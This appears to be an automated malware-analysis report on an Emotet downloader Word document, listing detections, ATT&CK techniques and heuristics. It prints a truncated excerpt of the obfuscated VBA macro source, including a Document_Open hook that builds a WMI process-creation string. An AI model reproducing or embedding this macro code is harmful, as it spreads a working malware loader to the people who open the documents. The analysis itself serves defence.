MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1204.002 Malicious File
The sample contains VBA macros, specifically a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet's typical infection chain. The ClamAV detection 'Doc.Downloader.EmotetRed02226-9938639-0' further supports this classification. The VBA code appears to be obfuscated, but the presence of auto-execution and object creation points to a downloader functionality.
Heuristics 7
-
ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13594 bytes |
SHA-256: 576a4479a1e959d02e2f0eb6945a55ca6070d08cb93e3e6f57c94b76dc31aecd |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Qh9a037qh790nzp2q"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Bo51h2c687jqkbq.Hrbazdy2bb_fiw0ll2
End Sub
Attribute VB_Name = "Bo51h2c687jqkbq"
Attribute VB_Base = "0{EE1FAEED-B37B-4892-901F-CFA43C70C706}{AE31060C-AADB-472D-A96E-FCEBF033DFC3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Hrbazdy2bb_fiw0ll2()
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Yzy015hr2xeavrv39v = 100
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Zwsh_2og5k0ile = ChrW(Yzy015hr2xeavrv39v + (yyyy + 5 + bbbbb + 10))
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Dcgcxa4ll00qj1r = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + Zwsh_2og5k0ile + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Bo51h2c687jqkbq.C2t2t70m_mpmu30s + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
Yxp1gb00nr05 = Rqbfaixbngd(Dcgcxa4ll00qj1r)
On Error Resume Next
Select Case tjbJ6i4
Case 60
NPsJ = WhdMAJT
fAoV6e6xV = Sqr(EEV)
Case 9639
RIL = Log(242115376)
VwV = Sgn(RRvoxs5 - DzCXc3U1)
End Select
myEgb4n = (MpimH9010 + Tan(Horz) - 1429 / CLng(cvVZ31 - 287) + 18253854 / Rnd(NhiD74) - TCEy4K5 / uEFH5dP2 * (8 - ChrW(baBc * CDbl(zPqB71 * CInt(cPDa57DC))) / Jck / 764))
ENuR42UjH = (1 + ChrW(7) + 450 + CDbl(IkUaP) - SbKdg - ZdsuS + isrmH / 3)
On Error Resume Next
Select Case tjbJ6i4
Cas
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.